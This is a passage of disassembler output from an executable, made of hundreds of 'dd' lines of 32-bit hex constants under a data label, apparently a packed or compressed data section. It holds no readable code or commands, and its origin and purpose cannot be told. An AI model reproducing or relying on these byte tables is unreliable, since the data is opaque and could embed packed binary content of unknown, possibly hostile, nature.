		dd 0CB0278E4h, 0C9593A9h, 3FE4E4AFh, 50D8470Ah,	0FC00F177h
		dd 2F403F0Ch, 49970A8Fh, 4C9CC354h, 2B67F869h, 7E818EA9h
		dd 61E4B3E4h, 8DD20E9Ch, 0F48387EDh, 0BBB29BBh,	94719088h
		dd 988074B2h, 41CF34DCh, 8B2484E0h, 0F811E8A6h,	0B2FF0022h
		dd 594CBBFEh, 9C0F0063h, 0B68BE4AAh, 0DF00831Ch, 0C5F62693h
		dd 0F9440B67h, 13381064h, 57B85BB9h, 60782790h,	9E72D917h
		dd 0DE33F718h, 0FB880ED1h, 0D6B0D0h, 0DDA5C7B6h, 0F82B01B1h
		dd 0F6893860h, 6A3E74h,	23E87CBCh, 25948FA3h, 348CB096h
		dd 98DD280Ch, 183860B5h, 0EA39F75Fh, 54B5D8A0h,	7BF8BB0Bh
		dd 292889EFh, 0C49C4548h, 0EA7F60E7h, 2038987Eh, 0D43267F7h
		dd 6403703Eh, 35BB0010h, 0E09FD9FFh, 7246495h, 554EA827h
		dd 11A903C4h, 884B106Ah, 1BD2D5Ah, 0F6FDAABh, 472F1F67h
		dd 1F078418h, 9AF5EC6h,	7FA313D1h, 7B008150h, 0BC2C3880h
		dd 0A43D1h, 6686ECA1h, 15BD4F9h, 0F5DF3B52h, 45D88364h
		dd 894481D8h, 402209E9h, 8730E5E2h, 565D0115h, 0B025C29Fh
		dd 0B4291Dh, 7E6EB568h,	0B0DC5AFDh, 0BB061F66h,	5DF6C709h
		dd 0D75E602Ch, 40981661h, 178D950Ah, 215C7444h,	6E890B29h
		dd 1B7483BCh, 0E4CCECD4h, 0AA5B0C7Ah, 72588DCFh, 7B199063h
		dd 0F0F0743Bh, 8BB1CBB3h, 38216C00h, 0E05C5FD4h, 348F2E7Ch
		dd 1F15DCA6h, 0D0492CECh, 6D8998C1h, 9064D745h,	23D60E3h
		dd 1774185Ch, 49327744h, 0DB846024h, 468B241h, 23976496h
		dd 9FA3B100h, 903291h, 8D20D8B0h, 0FF950CEEh, 0DDC8292Bh
		dd 0F8EBD22Ah, 28D114B1h, 0A713CB18h, 38C077DEh, 3E6817ACh
		dd 6100451Eh, 0AF556D1Ch, 8F00CAEAh, 76AEF28Ch,	2CA95Dh
		dd 72940D1Ah, 3F8E621Eh, 166CA3Bh, 40C4CD8h, 5AD4C561h
		dd 17F765Eh, 0F3182E9Bh, 0D47E9FF9h, 28986C06h,	0A7196207h
		dd 5582FD95h, 0E04EC344h, 60361CCBh, 0C83881D1h, 92FABF4h
		dd 5776D5h, 6E8A2C88h, 0B1033BC3h, 0DF8FEEC0h, 0B78001ABh
		dd 0F76FEC7Fh, 5C1080C2h, 5DB12E36h, 79580D38h,	0CD60D86Ch
		dd 2C08967Dh, 985A8700h, 9761E9h, 1E5FE0E2h, 4CEEE563h
		dd 0CC188E61h, 9180C335h, 0C659B9DFh, 62E0A548h, 0DC0998E1h
		dd 7B1BF21h, 199DB259h,	0BA47E152h, 6CB4ECA1h, 0D0FF8F15h
		dd 443C0D94h, 0A002F0F2h, 540C8193h, 0A0400D90h, 156D24E6h
		dd 0A4D2E8CFh, 84F3418h, 54E4371Ch, 0A20E000h, 45B3E9AAh
		dd 7DE7085h, 0BD07553h,	8BF6E049h, 0C30067C2h, 621044DAh
		dd 7C1C563h, 7239229Ch,	88518D93h, 12EBF090h, 697906C4h
		dd 7F00D06Dh, 8C8DD113h, 7E70E004h, 4FD91451h, 0B840A034h
		dd 0C061ECB4h, 26188D49h, 0B06D6C2h, 3DE2085h, 21876008h
		dd 7926109Eh, 6858560Fh, 0C8C60A09h, 7E04C86h, 442C87F8h
		dd 18636088h, 4571FCh, 97F867B6h, 198F052Ah, 0F3E440FBh
		dd 41E9E0DAh, 80573408h, 6EFC2C41h, 0FEAB52E2h,	384E0084h
		dd 0DD995BD5h, 2A1491BBh, 61C6D85h, 89BCD293h, 0E84C0910h
		dd 68076BFBh, 83F8C391h, 5A1E1870h, 0A400696Ah,	0F590DECCh
		dd 0F7112B9Dh, 445601F8h, 1860FAA0h, 155D40CAh,	0F087F407h
		dd 119776Fh, 6B67CDCCh,	5C247F00h, 0EF34100h, 0B582F2B6h
		dd 54D70C65h, 0B950FF9Ch, 20616C07h, 23369FF0h,	34D60940h
		dd 3C20F3CCh, 323E5D4Bh, 0E5009090h, 0AD42AE4h,	6ABA97EEh
		dd 8CCA0DEh, 4C0CFB54h,	3F61781Dh, 9F3BEDB5h, 0E8492884h
		dd 0B2E89007h, 3D900F5Dh, 60FC29CFh, 0A193B982h, 9B6532A3h
		dd 68480F09h, 82128DDCh, 4004F2FFh, 0C91E40h, 9841089h
		dd 52C0080Ch, 65547D44h, 4B1E1A4h, 40724DCCh, 0CCDA9365h
		dd 0F0CE8064h, 0D8B044A3h, 0F090BC95h, 2092C430h, 481FF048h
		dd 15269079h, 0BEB10029h, 19BB99DEh, 6998249Ah,	922CAF4Ch
		dd 0CA233404h, 3A4AC300h, 0A8505EB1h, 48C27CD0h, 68DCF325h
		dd 0A8726820h, 5CCD38D4h, 2005091h, 8A80EED2h, 0C23CA443h
		dd 0F0C98F9Ah, 0D3415867h, 0D16662A0h, 3C6CCB61h, 0C759BC04h
		dd 0DB62AD48h, 59B4C020h, 930D2CD4h, 8BA9004Dh,	0F84B34ABh
		dd 6083DD30h, 0C3DA8033h, 664A5C30h, 91C7A100h,	0A0214B0Dh
		dd 71B9372Ah, 13D8C080h, 80283CE0h, 0B0E4C40Bh,	0B60F8600h
		dd 33381D91h, 946D5414h, 0DAD640B2h, 6CF45C13h,	50623400h
		dd 24E617C9h, 80788B67h, 0CC7AF36Dh, 20A73790h,	0C077E108h
		dd 0EA156D72h, 88CF612Bh, 0CB59C001h, 0D718CD48h, 0B80488h
		dd 0F59A7459h, 813EDDD4h, 0BAB12603h, 0A05243E4h, 78D8CAD5h
		dd 0A52B1E3Fh, 0C3DFCE34h, 4086401Dh, 8C8BE887h, 241B9CA1h
		dd 5C29C924h, 0E1039C4Bh, 0D918EE37h, 2FC94564h, 0EFF4F3F0h
		dd 7D150C32h, 0E24ECA6h, 30171F94h, 9B11B410h, 6D5C6801h
		dd 601BD835h, 0B6AA7425h, 8C9050BCh, 44D9449Ah,	48292720h
		dd 181834B1h, 0F87E6876h, 1180AD76h, 6EF4002Dh,	0E84D4591h
		dd 0CC905FA3h, 936CCC18h, 0F181E660h, 426020h, 0C9B21399h
		dd 0A76E9E2Ah, 24CC68D5h, 0CC08FC1Ch, 25880CECh, 65789919h
		dd 2412D603h, 2A19C045h, 3C886420h, 416A9572h, 0BD290190h
		dd 6BE2C026h, 8C56F9A1h, 7A9F2228h, 36BAACA1h, 261E02F4h
		dd 31FBD6BCh, 16A41053h, 5E4B0526h, 92684C31h, 64C4332Ch
		dd 0FDC6C900h, 20425793h, 8C7551EAh, 1A447841h,	3083E454h
		dd 0E420DD93h, 1D20C681h, 86B0EC1Eh, 8E0E4C3h, 0A7217D60h
		dd 0E6CD20CEh, 0F533D16h, 547DA82h, 0CC8EB314h,	8E022668h
		dd 87D23E97h, 73579DA4h, 0CBF3EAC0h, 4C6E091Bh,	70912070h
		dd 0F6C4E05Eh, 36F208A0h, 0C7200CB0h, 4CD63FDCh, 28BC0524h
		dd 80E94D04h, 55E88C4Ch, 143B2C8Ch, 0C31F0087h,	0B7B14939h
		dd 0C547E74h, 0C50077ECh, 18E6EEE0h, 486AFE7Ah,	378F239h
		dd 878C790Ah, 982EE1FFh, 0A708E0C7h, 0E213026Bh, 44448144h
		dd 93800D7Fh, 6645242Ah, 2F974384h, 2668304Ch, 1401DC95h
		dd 8811F87Fh, 0C1564C34h, 0ACD4C6B1h, 0B012D0B3h, 44D75B09h
		dd 947C287Ah, 80DC9D15h, 0EC1820C4h, 7E448CE0h,	20CC00A1h
		dd 0A2D5CA9Bh, 7538C6D0h, 44400E18h, 28FB45DBh,	0C0922C08h
		dd 0EC1D20C7h, 0AC3AB841h, 7AE5A81h, 0B0554560h, 2A595E95h
		dd 9A0ECEFEh, 0BC8B50E5h, 0B5FFFA80h, 1805F317h, 3714E806h
		dd 0B7008AF2h, 0A7759866h, 1EE03841h, 5481F0h, 0C5A3203Bh
		dd 80034BDFh, 0FF5988EDh, 329E895h, 3B6A7006h, 4D61E856h
		dd 0C9C35E20h, 33EE3B89h, 21001CB5h, 0B1C35646h, 172FE9Ah
		dd 6C26F834h, 0C595898Bh, 0F654BB24h, 0C1B7937h, 9C985C1h
		dd 1A10FC03h, 8D3E205Dh, 80CD08B0h, 5002A8C6h, 83E28166h
		dd 89759078h, 280D348Dh, 515E6236h, 0E4C35930h,	224C4689h
		dd 5141001Ah, 499BB9C3h, 0ED3325A7h, 52BA030h, 0D1B50969h
		dd 0E74F051Bh, 35400CF2h, 4DA45019h, 11BD8B08h,	56775325h
		dd 23060A50h, 0DFE031D8h, 607664B8h, 85B54FDAh,	0A10D2950h
		dd 32084C1Eh, 4ACA0F81h, 99B1D3A5h, 10EDE74Ch, 40276291h
		dd 0C4211B1h, 0F65F530h, 5062D1BFh, 0B02AB1B2h,	2B9D2933h
		dd 84651BF5h, 2111CDBDh, 0BE4F22EDh, 0D2C11788h, 60FC68DAh
		dd 386B1FB8h, 946118E2h, 5AA13269h, 2A1D15A9h, 502913D0h
		dd 18197139h, 0D6BE00AFh, 0F48683Eh, 1FC00A8Bh,	0D9B58960h
		dd 98599231h, 0C8888CFEh
		dd 5DC3556Eh, 6C8991C3h, 0DD931D18h, 0CCF8AA00h, 2D19653h
		dd 11C11FA1h, 0A9B1F5F9h, 1BA443FCh, 0B2C06853h, 42D33114h
		dd 0B113B894h, 8B130C15h, 821411F1h, 5EE1810Eh,	0B95C62A9h
		dd 23F9955Ch, 850F0C0Ah, 60E96B12h, 0EB500B0Dh,	5F07FE31h
		dd 1F2BB3BCh, 0C4878681h, 55EE7ABBh, 262108D2h,	163F220h
		dd 305F523Ch, 0FC27AFACh, 5056C0B1h, 1253B37Ch,	2102B966h
		dd 3F4B316h, 0BD8C15F5h, 1E50832Dh, 71315019h, 80264421h
		dd 0DC510844h, 7696EA34h, 81C05159h, 8A528DAh, 80031F31h
		dd 70FE88BDh, 1126C86Ch, 5F303192h, 0D8159FE9h,	2541A816h
		dd 3BBD8380h, 1E502831h, 81B38B19h, 26DB0B70h, 84271147h
		dd 8D090567h, 7A0A0D01h, 0E992A64Ch, 2C76720h, 0A162072Fh
		dd 5787048Ah, 8D59F6C9h, 14449DA7h, 48E84961h, 0A71FAC85h
		dd 0EF5714AEh, 0E5BB21EEh, 4E19C8F9h, 8E1DB300h, 1B4B94C6h
		dd 8077079Dh, 125F24C2h, 77830FE9h, 0C226C9BFh,	5162A037h
		dd 46F14601h, 0C35A1C52h, 0C4548988h, 52424015h, 5841CFC3h
		dd 11202C09h, 0CEE95729h, 60B80F00h, 1B418A1h, 0F4615F19h
		dd 0C8D60E2Bh, 1D24649Bh, 0E9C34F59h, 653B0010h, 0C9D66382h
		dd 0D50429E5h, 95EC6693h, 3E2D6781h, 29BA5660h,	42EF07CFh
		dd 5A2C3F84h, 29F440D5h, 0B392DDEEh, 534CE938h,	301BE2CDh
		dd 0DE011126h, 0B8A9DF33h, 0D448E9EAh, 0B35D06A7h, 7EC36FDAh
		dd 0A650BE44h, 9A20008Ah, 98AEC347h, 74005B2Dh,	8FB14B5Ah
		dd 24656A04h, 37A05F9Bh, 3A1099BCh, 5899F50Dh, 581CC63Fh
		dd 44898AC3h, 504070D2h, 4583C31Fh, 5CC2C941h, 0FE86B23h
		dd 3CF0EB7h, 2472498Dh,	493F85D3h, 0C33083D3h, 19C409FDh
		dd 0E1CD0D86h, 0B1014830h, 5AD00087h, 0C4836118h, 0BD29101Fh
		dd 8B9208E6h, 5BE8ED1Ch, 0CF506679h, 104439DDh,	12096275h
		dd 7420111Dh, 0C2535019h, 7D3B83Eh, 4075760Ch, 9D148D17h
		dd 58DB091h, 585BD3FFh,	8172262h, 0AD807820h, 0D281058Ch
		dd 1C4E1002h, 0B75315C8h, 22C35B87h, 0DD475C89h, 0C3534303h
		dd 0F16415BBh, 87117E2Ch, 0E0E92413h, 413F4D40h, 0EB900060h
		dd 0E761B0F1h, 7D091792h, 10BD812Fh, 7F726FD3h,	446E9065h
		dd 0A649B186h, 0E508C9Dh, 11F443ECh, 0EE46F50Dh, 780CCF40h
		dd 2F3920C6h, 4F684402h, 0C096A318h, 91135953h,	38A7093Ch
		dd 8BD00F21h, 342C59D8h, 43A43785h, 0CEB84A8Ah,	0CA930874h
		dd 0BE65EB19h, 10C05B4Ah, 0AA4EBF52h, 5F445A13h, 0FCD76806h
		dd 30691228h, 23903B03h, 17CB001Dh, 0FB93D83Ch,	0D10E6C0Bh
		dd 9B90FD49h, 0FF003692h, 0EE603FA6h, 0F1254696h, 0C0581DA6h
		dd 12D9533h, 5F8B1C7h, 15E89EFEh, 1048F42h, 2293995h, 4B5D85C7h
		dd 0B221E6C2h, 0C32252BDh, 4FF26B2Ch, 62B1584h,	3D2F5AE9h
		dd 7709C781h, 87962A87h, 0C5A72358h, 2A081CC5h,	156FA696h
		dd 2463B3D5h, 61221BF9h, 2813982Ah, 441D2C25h, 6A91E878h
		dd 0C679E700h, 0F0A31Dh, 0CCAA8D8Ah, 0C9E4CD65h, 0C10FCB04h
		dd 12C090E1h, 48D0A8D9h, 0AB2C915Fh, 125D6243h,	1E91D6C7h
		dd 90C23E63h, 22D58BEDh, 79ACB017h, 0BDCDC20Dh,	9322289Dh
		dd 0F7810211h, 2DFE940h, 4694FF6h, 0C0F8B16h, 0B9C03956h
		dd 1819D18Fh, 0A199049Ch, 0CF0178D7h, 0FED4C86Eh, 0CEF4D442h
		dd 0C01888F1h, 0E45DDE53h, 15B19900h, 5C01F181h, 0E92134F6h
		dd 0C3A5C079h, 3A00D7E3h, 5EBAFA39h, 0C01A91D8h, 0F6B966E0h
		dd 0CDB06831h, 95EC47B0h, 0D90AD924h, 0B715BA40h, 0E6B6816h
		dd 1B465C53h, 1F18C200h, 0E4D73DFEh, 0DA808B09h, 0C90E82BAh
		dd 0D0B67309h, 360177B2h, 9D7F8ACAh, 7C23C433h,	0AABAC00Fh
		dd 70846B40h, 0AB00A673h, 472E3996h, 28D9E997h,	20CB460Dh
		dd 5F4A143Dh, 83047348h, 1147BF66h, 892F2624h, 1A810F8Bh
		dd 396582B4h, 31BA001Ch, 4E317F6Fh, 0BE8D061h, 3AA22980h
		dd 0B6645E26h, 0B2E59804h, 0E981B4D0h, 5A03011Dh, 814E3264h
		dd 0C1A0514Eh, 126305Dh, 6FC21CCh, 590C61E9h, 0FC6F08B8h
		dd 5B01A70Fh, 12ED9FC6h, 9D846A66h, 70AD195h, 26799D89h
		dd 2E7A61BFh, 50612649h, 0A525BD01h, 163A2F20h,	1723B33Ah
		dd 8C9D5F0Eh, 0CB942F1h, 2D78F93Ch, 560E90Eh, 3975222Bh
		dd 68A31A83h, 3D5AC4FFh, 4B179120h, 5FB840E9h, 0D9CCBE65h
		dd 0BAB54A00h, 5EA2C24Dh, 0ADFC0248h, 61737809h, 4E91B065h
		dd 6357C664h, 89A6135Fh, 87CB7Ch, 0A4C35747h, 7F5BC109h
		dd 680FE228h, 20C41F8Eh, 0F38C209Bh, 82FE98B0h,	0F6EDCBA4h
		dd 290A27C4h, 6810F995h, 9912CD68h, 9962D5C8h, 0C01D94B7h
		dd 318E88Ah, 83AE9C60h,	0D2925890h, 0EFE4BB07h,	1CD39D1Ah
		dd 82B88A7Fh, 42A959Dh,	0A176E05Fh, 6748244Fh, 0BA66822Fh
		dd 0BF4294EEh, 8098B55Ah, 0B7D80345h, 118591D3h, 0E181000Eh
		dd 6AE82064h, 22504AE9h, 8F41D616h, 8F2F5133h, 5872BD39h
		dd 0B4BDC88Dh, 6094E476h, 0F840A49Ch, 1F1132BAh, 41CA64B2h
		dd 7FDD7883h, 87E52C76h, 4A90C1C5h, 9FD977Bh, 619874E1h
		dd 81884DC5h, 106A022Dh, 0D4592B5h, 57281A91h, 81AD7DBAh
		dd 0F5EC585Fh, 2B15E92Ah, 0D9107D29h, 0B5C28947h, 0DC840B1Bh
		dd 0F290F250h, 0F1E3014h, 818F8D48h, 74B34AB9h,	49AEC8E2h
		dd 0AE3AC53h, 12F58D0Bh, 72E849AAh, 0CC0AD281h,	8D29BCB0h
		dd 1E241344h, 5D926083h, 64BBD96Ch, 0BB5415C3h,	4B93E761h
		dd 0DF912EFFh, 0DE45E10Bh, 0EA5E088Dh, 5F80CA2Eh, 0FE68BF01h
		dd 42644C4h, 1FAAF832h,	90860F22h, 208D03DAh, 5B82224Dh
		dd 0FA944851h, 535D9224h, 8F289160h, 6886F708h,	0C69E66C1h
		dd 1C467Eh, 27B00790h, 2CF1A7E5h, 700D7134h, 60D0CF5Fh
		dd 6B1701BAh, 80683FC7h, 0BD092385h, 49962761h,	0E80A5B7h
		dd 9AAA738h, 2851288Dh,	40C7966Ah, 72AA7334h, 8133C800h
		dd 3C47FD35h, 0B6860468h, 0CE6A7D9Ah, 0CF18C880h, 0BE2E7EC0h
		dd 0EB118AC7h, 1F0E11E8h, 8D00B162h, 9669DC38h,	0B9FD9F00h
		dd 7A56E3F4h, 204F9089h, 5F313045h, 11E91060h, 61B3B200h
		dd 0C04D6864h, 0FE02CCh, 0AF7E5FF0h, 5BFF01BFh,	312141F2h
		dd 2D488074h, 50B09A8Bh, 5F867309h, 0AB0E0434h,	0D2553298h
		dd 0D2BF1E6Dh, 0EAFB9702h, 0A0961EE2h, 594EBDF6h, 107EE41Fh
		dd 313BFE19h, 3721B919h, 20C42BDh, 25A31D61h, 88E80E02h
		dd 9000C91Dh, 2F3AE590h, 0D80B4A0Bh, 2C180A38h,	0ADC0B961h
		dd 389F3230h, 4D405AF5h, 34C304Bh, 31FFD3B1h, 0F22AF8D0h
		dd 2B6000EFh, 3555A9Dh,	61D2B1EEh, 0FBA22650h, 0C296C0E4h
		dd 1214465Eh, 9B8FFCF4h, 42FED888h, 60F8F2D8h, 960ADD74h
		dd 95318E10h, 0CB22EF3Dh, 930B2301h, 8D161071h,	15205F1Eh
		dd 0D8D066h, 150F5FC7h,	82C5ACAFh, 3D6D0300h, 0E824A004h
		dd 96A54C71h, 7714E902h, 50696A5Fh, 0B0B327F9h,	514CBF84h
		dd 0ED63DFDEh, 0F0232B00h, 2AAC7E0Ah, 85320605h, 0E4C5046Fh
		dd 0E457FE16h, 9E91A135h, 8C372A59h, 4A875C02h,	96C95F13h
		dd 38567160h, 97B5A079h, 0E6A9887h, 5E5B1FDBh, 84122CE7h
		dd 0AD3B8174h, 8777AE1Ch, 0CF5B4D69h, 80E9FCA0h, 0CF0481E4h
		dd 79AC2712h, 2C7204A2h, 59DBD6BFh, 0BE47C24Fh,	48611BC4h
		dd 63C1F447h, 2019DF05h, 0A809D38Bh, 0B240297Dh, 758C18FEh
		dd 14EE008Eh, 0C0A64601h, 241EBC62h, 0E98978D4h, 2E0BE431h
		dd 5210252Dh
dword_500044	dd 1711B89Dh, 947C4B87h, 0D960C3B7h, 10E95759h,	2EA410F1h
		dd 1A2332h, 64EF0EA2h, 794C0131h, 0B3FD174Ch, 683A2665h
		dd 3A001923h, 8E0D11C7h, 3D26BB76h, 30CD20F6h, 8005A4B9h
		dd 0F51A89D2h, 0C8F51029h, 76DD9401h, 2C011D46h, 33A86EF8h
		dd 0B7DDC061h, 0A1601328h, 0EE4AB54Fh, 0A108FE5Eh, 0DB611421h
		dd 2F61110h, 0F75C180h,	8156808Eh, 13E114E7h, 0E500CBBh
		dd 16B0F93Ah, 1904016Ah, 112021Dh, 0CE9B9C0Fh, 4F5B7509h
		dd 0C01DC895h, 0CB050145h, 6D439B02h, 46143D7Dh, 772E074Eh
		dd 0C023E642h, 0F3D89CAAh, 0D2DADC0Ah, 2B11E533h, 558D2674h
		dd 264AA114h, 11E00137h, 7612CE80h, 870F159Ch, 48CA027Eh
		dd 46385C13h, 958B0BD2h, 0D45288Dh, 0A93D8488h,	181CD14Eh
		dd 0C8E80045h, 8692A4E9h, 6EC46318h, 0D48A1AE5h, 30982050h
		dd 0B94116E9h, 2624B009h, 2C9C308h, 41F8B77Ah, 0D452AD48h
		dd 4AA5C61h, 9873D9C9h,	0CF3C8BA8h, 1F991231h, 1833B09Dh
		dd 286FF901h, 0C4888268h, 6E002EEEh, 928774C6h,	3FAB67F7h
		dd 60333301h, 0C7D0C366h, 71328523h, 4C5F812Eh,	0CDFC5690h
		dd 87C38B58h, 45B81EE6h, 18033CD7h, 0AEBF9649h,	2398221Ch
		dd 0B1F9E0C2h, 0C623921Eh, 0DCECDAh, 89833F7Fh,	8B6269B0h
		dd 8F13013Dh, 41E566FAh, 2BFDBD09h, 0C1066415h,	110B852Ch
		dd 8CFFF63Ah, 41B849A9h, 0DDF6F462h, 32474426h,	7F5FE7Ch
		dd 6E6F8F20h, 501D1975h, 0A9918C26h, 14D9A330h,	4A90E118h
		dd 28530244h, 40C58B59h, 7405BA28h, 0E9052C14h,	18FB1C00h
		dd 6B09BEh, 0CF9E3AAAh,	0AD4039A0h, 57108500h, 7E4FDA13h
		dd 56327E9h, 19611122h,	0F631B521h, 17BF6600h, 1A481348h
		dd 66EAA3C3h, 583C03F4h, 0B5F2D0E0h, 2147A890h,	0DBC26B2Eh
		dd 399D2902h, 827C8A1Eh, 5177D08h, 27EDBD0Bh, 0F0F1C4A2h
		dd 0FE728B1Bh, 0D181F301h, 37DC3993h, 0BDF83D49h, 232F5F45h
		dd 5C3EFB1Ch, 0BF91589h, 68B68128h, 0AD71D18Bh,	3739831h
		dd 903FD9E2h, 488ABCD9h, 16E80DCEh, 0D863048Ch,	0C22960E0h
		dd 0F8003061h, 0C3F38A61h, 0D58D01C4h, 0BDC188EDh, 0E80FA566h
		dd 3E05909Dh, 0CC8B3324h, 416485E6h, 6E004B77h,	5BA3DB3h
		dd 37606F6h, 0E29622F3h, 0EDD955D1h, 13AF243Fh,	2C5F5A80h
		dd 1530D88Bh, 5333C7FDh, 0F7F89F2h, 43E7DBF5h, 6DE5043h
		dd 0FE1520C2h, 345B1905h, 0E3E9D97Ah, 222AC425h, 7042D89h
		dd 2A051961h, 0CE8995F9h, 0C415C862h, 6753F0FBh, 1877FE15h
		dd 0D71F2694h, 0BA014F48h, 4B80C8CCh, 0C8BBE30h, 9606AF8h
		dd 17A23024h, 0A4CD7609h, 890F53C1h, 19FC2CC2h,	7500640h
		dd 33DA8160h, 966B3B5h,	52C11A1h, 44E9D9A0h, 0AB1C7E08h
		dd 0A469CCEh, 0A01E6E62h, 7016ACE5h, 0C689468h,	671F98Bh
		dd 35CC398Bh, 835B2CC1h, 0E0DDDED3h, 128D7261h,	91B6FA2h
		dd 0A6E2E1B3h, 0F770CB53h, 8B0F2857h, 735A983Eh, 905A81A5h
		dd 51090A61h, 0B6B25FF8h, 6570C6FBh, 0FD5B3DD4h, 0C6216882h
		dd 0FD81D6F5h, 73FBBCDAh, 53FF004Ch, 3A64E25Bh,	0EAD00188h
		dd 84A3D108h, 3EE73668h, 7A208781h, 848F6390h, 38E2A4Dh
		dd 19ACF65Ch, 0BFD4028Ch, 7CA0AC1Ch, 8B13CCD0h,	0BD301840h
		dd 0F36A40Dh, 2474AD89h, 985D6A60h, 0DB0C7B2h, 5430104Ah
		dd 5CF3BA66h, 22B2743Fh, 99952B21h, 3D114A68h, 830F068Ch
		dd 8145015Ah, 0E9E88E94h, 0BF52882Eh, 852D1F39h, 963D5F67h
		dd 0A73E1C48h, 4025B61h, 0FF8055B8h, 0B0121F9Ch, 0AA7D800h
		dd 95F6B21Bh, 0BC3B09A1h, 21E6FECFh, 145C0DA2h,	0F913FBA4h
		dd 0C8911BCDh, 0F7B90205h, 0C82ECAC2h, 0EDD19541h, 0D14CAE39h
		dd 2282FEDEh, 911B7F18h, 0C6E20BC7h, 0C6083F0Bh, 4A925C0Bh
		dd 0DD1A5124h, 91D8EA09h, 0CEC9E9h, 1A75B529h, 4DC710B4h
		dd 0BF0D3B08h, 0F266C7F9h, 0CDB6084Ch, 0CC3E5240h, 0BC180159h
		dd 8488EEBAh, 3917E83Fh, 6223FD08h, 0B25080Dh, 8D0F5905h
		dd 95232501h, 0EE493215h, 6231F912h, 2FF911F8h,	0C8D34178h
		dd 20810166h, 5D1809C2h, 0A7030DA0h, 0A6CD3F69h, 112E9DDh
		dd 0BCA12143h, 0CF4B0217h, 78C018E7h, 0F15C4EE9h, 0F58A41ECh
		dd 0B8352B2Ah, 1623C02Eh, 22071201h, 0C8C9CA8Bh, 0DDF11023h
		dd 0DD841F07h, 884E2E07h, 2905010Eh, 8F9992A9h,	16883B8Eh
		dd 0B0B313C0h, 3CC3A4E8h, 94841768h, 0C396F406h, 1B708742h
		dd 60E85A60h, 2E355CB8h, 93F2C3Ah, 0CF5112B5h, 41AA108h
		dd 0C80204E9h, 25D46504h, 0FC1918DFh, 0BC8C0FCEh, 269A2C2h
		dd 0D1809CF2h, 8482526Bh, 0B3D4FE11h, 0FDBFF181h, 2DA83AE9h
		dd 2D115450h, 0BAFA4021h, 0C0057A71h, 0D78B407Bh, 84A22424h
		dd 14AAD07h, 2BCE00DCh,	791CAF68h, 0CA00F8BEh, 25FA454h
		dd 812300D7h, 0B07F71D2h, 6A315A59h, 1DA56C34h,	111E226Bh
		dd 609A4FC6h, 74CCEA6h,	1621054h, 0DB8C6601h, 2004C3F6h
		dd 5E8AFC84h, 6856609Eh, 0A823B852h, 46AC29Ch, 710EAC1h
		dd 0FB816476h, 4284F291h, 6847012Dh, 0EC18AC9Bh, 8B04621Eh
		dd 4F1E90F0h, 26613B68h, 17580FBh, 0C1592A87h, 286A537Dh
		dd 85188556h, 753075C0h, 15986841h, 2ADB8764h, 9D42D0A6h
		dd 0A4684CC1h, 5A80C9E7h, 9D8B0820h, 5B12BF84h,	5C4F9404h
		dd 9152B54h, 9FD203C7h,	0C2843ECh, 85130702h, 0AE620649h
		dd 4702AD6Ah, 0A4B52E0Ch, 1411A28Bh, 68450267h,	92A5F797h
		dd 1C2D1102h, 0C0267CDh, 53752858h, 0B46D6032h,	914E1AA1h
		dd 0CB26960Ch, 64B69434h, 92D8B829h, 0CBF9E830h, 84231F5Fh
		dd 0C683D8E8h, 6483122h, 38E16FEh, 7ED65732h, 64D7021Fh
		dd 5A8035FFh, 31850956h, 597F1FB2h, 0F258928h, 55C8604Bh
		dd 0F43B0099h, 1ADC4B5h, 2F2C4EDDh, 0E9080A9Eh,	0FA5A1909h
		dd 60B5A549h, 862CDDBBh, 66B7045h, 24BAA0E9h, 9A1E9120h
		dd 0D95E455Ch, 0DD232B81h, 1A8A95h, 29DBD80h, 85578BFDh
		dd 0F10C5145h, 16ED1816h, 466DCCDh, 9589E947h, 0E0CAF648h
		dd 12127AC9h, 0BDB33DDh, 0FAFC5A9h, 0BC4C009h, 0E401C200h
		dd 16F2230Dh, 4081B089h, 40005A13h, 0B073F0Fh, 0B5058F64h
		dd 4C47490h, 4595890Bh,	6F18D21Bh, 0FBEB3949h, 0B845182h
		dd 0C9F43327h, 14E9DDD1h, 72B4D7BAh, 0D1DC0921h, 90801D52h
		dd 8133C70Ch, 3DFF21A4h, 0B8338303h, 0C8140415h, 2C828BC3h
		dd 5020860Ch, 0ED815D09h, 8B3F2244h, 4B1B8A83h,	15323508h
		dd 5D350C89h, 80E3DB4Fh, 0FDFC786Ch, 824D4B88h,	29001058h
		dd 9124818Dh, 923A1AEBh, 46742374h, 0B64E0016h,	0BD0950D2h
		dd 0AE659265h, 0DCB1B6A0h, 34E7A301h, 2A06D25Fh, 655A203Fh
		dd 3702FDE5h, 50CD1962h, 25C84E36h, 67E6800Fh, 4E02F920h
		dd 0B82840B9h, 4855D704h, 81640500h, 65BB0DF7h,	868503D4h
		dd 34B640BAh, 0E8EAD187h, 0ED0C9D5Fh, 5868FBC0h, 4C75564Dh
		dd 4F71BF0Ah, 4E6FCD1Ch, 41AA4B48h, 2D72C1AFh, 538DC47Dh
		dd 753F2100h, 2C96E4B4h, 0EB9B0AB3h, 92D5BAD2h,	421951Fh
		dd 570BE962h, 3D10053Bh, 23918404h, 0A117F822h,	0AD99C220h
		dd 12850130h, 0A6031465h, 3A4FF069h, 0F26626C1h, 0BAD969DDh
		dd 0D41DD105h, 12758404h, 0AB7FA7B2h, 0EA770BCh, 35382E31h
		dd 70012B3Ch, 63007845h, 69747065h, 73206E6Fh, 14667649h
		dd 0C616D72h, 796C6A50h, 7C734865h, 0C7082037h,	68745364h
		dd 6C369CEFh, 6977CCE3h
		dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh,	2EFDF188h
		dd 66D2A9Dh, 16685420h,	797B6B76h, 0A37757Fh, 1FA040Dh
		dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh,	1EB3699Eh
		dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h,	29647261h
		dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h
		dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h,	0DA0F421Dh
		dd 30F323Bh, 437469E6h,	1E900F3Dh, 1A5095B7h, 1E3A188Eh
		dd 6D04AADEh, 2D210332h, 0A9810401h, 226BABB0h,	7861AFCh
		dd 805C2568h, 19C0365Dh, 32F03A24h, 0A2FA19D0h,	0CA98C407h
		dd 2C242E16h, 0E1B01D8Ah, 0FC104D16h, 1CFEA225h, 0AB14046h
		dd 8D7D0B33h, 0AB381264h, 380E648Dh, 2648D94h, 6F8D9C38h
		dd 15A3E250h, 2D080C23h, 0A2E90B20h, 450FE4D9h,	958A7004h
		dd 1E91880Dh, 2422D94Bh, 2F05089Bh, 0F8C28104h,	885E16ACh
